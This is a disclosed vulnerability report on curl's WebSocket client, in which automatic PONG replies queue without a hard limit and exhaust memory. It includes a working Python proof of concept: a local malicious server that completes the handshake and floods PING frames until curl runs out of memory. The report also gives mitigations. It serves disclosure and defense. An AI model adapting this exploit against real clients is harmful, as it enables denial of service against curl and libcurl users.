HexBrain

curl · Report #3788931

CVE-2026-11586: WS Auto-PONG memory exhaustion

Validstatus
lowseverity
6upvotes
24 Jun 2026disclosed

How it was found

Summary:

TL;DR: a remote WebSocket peer can make default curl/libcurl grow memory until timeout or OOM by sending legal PING frames while refusing to read the client's automatic PONGs.

curl automatically replies to each received WebSocket PING with a PONG unless CURLWS_NOAUTOPONG is set. In lib/ws.c, ws_enc_add_cntrl() queues the generated PONG into ws->sendbuf and ignores the result of ws_flush(), while ws->sendbuf is initialized with BUFQ_OPT_SOFT_LIMIT. A malicious WebSocket peer can complete a valid upgrade, stop reading client data, and keep sending legal PING frames so curl continues appending internal PONGs without an effective hard limit. This is not just a never-ending transfer: even with --max-time 8, the default CLI path can hit 1 GiB RSS in about 2 seconds locally, and under a 180 MiB address-space limit it exits with curl: (27) Out of memory. The same input with CURLWS_NOAUTOPONG does not show comparable memory growth. As a temporary mitigation, a smaller --max-time / CURLOPT_TIMEOUT reduces the attack window, while CURLWS_NOAUTOPONG avoids this default auto-PONG queueing path entirely.

Affected version

Reproduced on current local build:

curl 8.21.0-DEV (Linux) libcurl/8.21.0-DEV zlib/1.2.11 libpsl/0.21.0 nghttp2/1.40.0
Release-Date: [unreleased]
Protocols: dict file ftp gopher http imap ipfs ipns mqtt pop3 rtsp smtp telnet tftp ws
Features: alt-svc AsynchDNS HTTP2 IPv6 Largefile libz PSL threadsafe UnixSockets

Preliminary version triage:

  • Current master / 8.21.0-DEV reproduces.
  • The vulnerable auto-PONG queueing path appears to have been introduced by commit 0b09132877 (websocket: handling of PONG frames).
  • Based on tag containment, the first released version that appears to contain this specific path is 8.16.0.
  • Initial review suggests 8.15.x and earlier do not contain this same queued auto-PONG implementation.

Relevant code paths:

/* lib/ws.c */
if(!ws->enc.payload_remain) {
  CURLcode result = ws_enc_add_pending(data, ws);
  if(!result)
    (void)ws_flush(data, ws, Curl_is_in_callback(data));
  return result;
}

/* sendbuf uses BUFQ_OPT_SOFT_LIMIT */
Curl_bufq_init2(&ws->sendbuf, chunk_size, WS_CHUNK_COUNT, BUFQ_OPT_SOFT_LIMIT);

Steps To Reproduce:

From a curl source checkout with a WebSocket-enabled build, run this single self-contained PoC. It does not call any repository-local PoC file.

CURL_BIN="${CURL_BIN:-./build-codex-h2-nosan/src/curl}" python3 - <<'PY'
import base64, hashlib, os, re, resource, socket, subprocess, threading, time
st = {}

def srv():
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("127.0.0.1", 0))
    s.listen(1)
    st["p"] = s.getsockname()[1]

    c, _ = s.accept()
    c.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 4096)
    req = b""
    while b"\r\n\r\n" not in req:
        req += c.recv(4096)

    k = re.search(rb"(?im)^Sec-WebSocket-Key:\s*(\S+)", req).group(1)
    a = base64.b64encode(
        hashlib.sha1(k + b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11").digest()
    ).decode()
    c.sendall(
        (
            "HTTP/1.1 101 Switching Protocols\r\n"
            "Upgrade: websocket\r\n"
            "Connection: Upgrade\r\n"
            f"Sec-WebSocket-Accept: {a}\r\n\r\n"
        ).encode()
    )

    f = b"\x89\x00" * 65536
    try:
        while True:
            c.sendall(f)
    except OSError:
        pass

threading.Thread(target=srv, daemon=True).start()
while "p" not in st:
    time.sleep(0.01)

rc = subprocess.run(
    [
        os.environ["CURL_BIN"],
        "--silent",
        "--show-error",
        "--max-time",
        "8",
        f"ws://127.0.0.1:{st['p']}/",
    ],
    preexec_fn=lambda: resource.setrlimit(
        resource.RLIMIT_AS, (188743680, 188743680)
    ),
).returncode

print("curl rc =", rc)
PY

Expected result:

curl: (27) Out of memory
curl rc = 27

For comparison, a CURLOPT_WS_OPTIONS = CURLWS_NOAUTOPONG control client processed the same empty-PING input without comparable memory growth, and a bounded-time CLI validation reached about 1.05 GiB RSS in about 1.96 seconds before the verifier stopped it.

Practical mitigation today:

  • Set a smaller --max-time / CURLOPT_TIMEOUT if the WebSocket transfer does not need to stay open long. This only limits how much memory can be forced before timeout.
  • Set CURLWS_NOAUTOPONG if the application can safely handle WebSocket PING frames itself. This avoids the vulnerable default auto-PONG path.

Impact

Summary:

A remote WebSocket peer can drive unbounded growth of curl's internal auto-PONG send queue and exhaust the client process memory budget using only legal protocol input after a valid handshake. Depending on available memory and runtime limits, this can terminate the curl command-line tool with CURLE_OUT_OF_MEMORY, trigger system/container OOM handling, or cause a libcurl-using application to fail. The issue affects default WebSocket behavior and does not require API misuse, local access, or malformed frames. Smaller timeout values can reduce the damage window, but they do not add backpressure; disabling auto-PONG with CURLWS_NOAUTOPONG avoids this specific path.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original